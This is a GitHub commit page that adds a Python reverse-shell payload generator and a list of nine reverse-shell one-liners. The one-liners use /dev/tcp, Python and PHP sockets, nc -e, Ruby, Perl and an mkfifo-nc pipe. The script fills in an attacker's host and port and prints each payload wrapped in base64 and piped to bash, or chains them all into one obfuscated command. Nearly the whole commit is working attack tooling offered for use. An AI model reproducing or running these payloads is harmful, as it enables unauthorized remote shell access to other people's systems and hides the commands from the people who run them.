-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
33b7281
commit b1f5418
Showing
3 changed files
with
64 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
import sys | ||
import os | ||
import argparse | ||
import base64 | ||
def read_file(filename=None): | ||
FULLPATH = os.path.dirname(os.path.realpath(__file__)) + "/" + filename | ||
with open(FULLPATH) as shell_file: | ||
for line in shell_file: | ||
payload = line.strip() | ||
if not payload.startswith("#"): | ||
yield payload | ||
|
||
def parse_arguments(): | ||
parser = argparse.ArgumentParser() | ||
|
||
parser.add_argument("-H", "--host", help="Hostname or IP of the server", required=True) | ||
parser.add_argument("-P", "--port", help="Port of the server", required=True) | ||
parser.add_argument("-A", "--all", help="Use this command to generate a full one liner to try all the reverse shell possible.", action="store_true") | ||
|
||
return parser.parse_args() | ||
|
||
def generate(HOST="127.0.0.1", PORT=4444): | ||
result = [] | ||
for line in read_file("personal_shells.txt"): | ||
payload_name, payload_code = line.split('|', 1) | ||
|
||
ready_payload = payload_code.replace("{HOST}", HOST).replace("{PORT}", PORT) | ||
result.append((payload_name, ready_payload)) | ||
|
||
for line in read_file("default_shells.txt"): | ||
payload_name, payload_code = line.split('|', 1) | ||
|
||
ready_payload = payload_code.replace("{HOST}", HOST).replace("{PORT}", PORT) | ||
result.append((payload_name, ready_payload)) | ||
return result | ||
|
||
if __name__ == "__main__": | ||
args = parse_arguments() | ||
|
||
payloads = generate(HOST=args.host, PORT=args.port) | ||
|
||
if args.all: | ||
code_payloads = [] | ||
for name, code in payloads: | ||
code_payloads.append(code) | ||
all_payloads = ");(".join(code_payloads) | ||
all_payloads = "(" + all_payloads + ")" | ||
b64_paylaods = base64.b64encode(all_payloads.encode('utf-8')).decode('utf-8') | ||
print('\n\033[92;1m All in one\033[0m') | ||
print(f'\033[32mecho "{b64_paylaods}" | base64 -d | bash\033[0m') | ||
else: | ||
for name, code in payloads: | ||
b64_paylaod = base64.b64encode(code.encode('utf-8')).decode('utf-8') | ||
print(f'\n\033[92;1m {name}\033[0m') | ||
print(f'\033[32mecho "{b64_paylaod}" | base64 -d | bash\033[0m') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
sh in dev tcp | sh -i >& /dev/tcp/{HOST}/{PORT} 0>&1 | ||
exec sh in dev tcp | 0<&196;exec 196<>/dev/tcp/{HOST}/{PORT}; sh <&196 >&196 2>&196 | ||
python subrpocess | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{HOST}",{PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | ||
python3 subrpocess | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{HOST}",{PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | ||
php sh | php -r '$sock=fsockopen("{HOST}",{PORT});exec("/bin/sh -i <&4 >&4 2>&4");' | ||
nc -e | nc -e /bin/sh {HOST} {PORT} | ||
ruby | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("{HOST}","{PORT}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' | ||
perl | perl -e 'use Socket;$i="{HOST}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' | ||
nc workaround | touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {HOST} {PORT} > /tmp/f |
Empty file.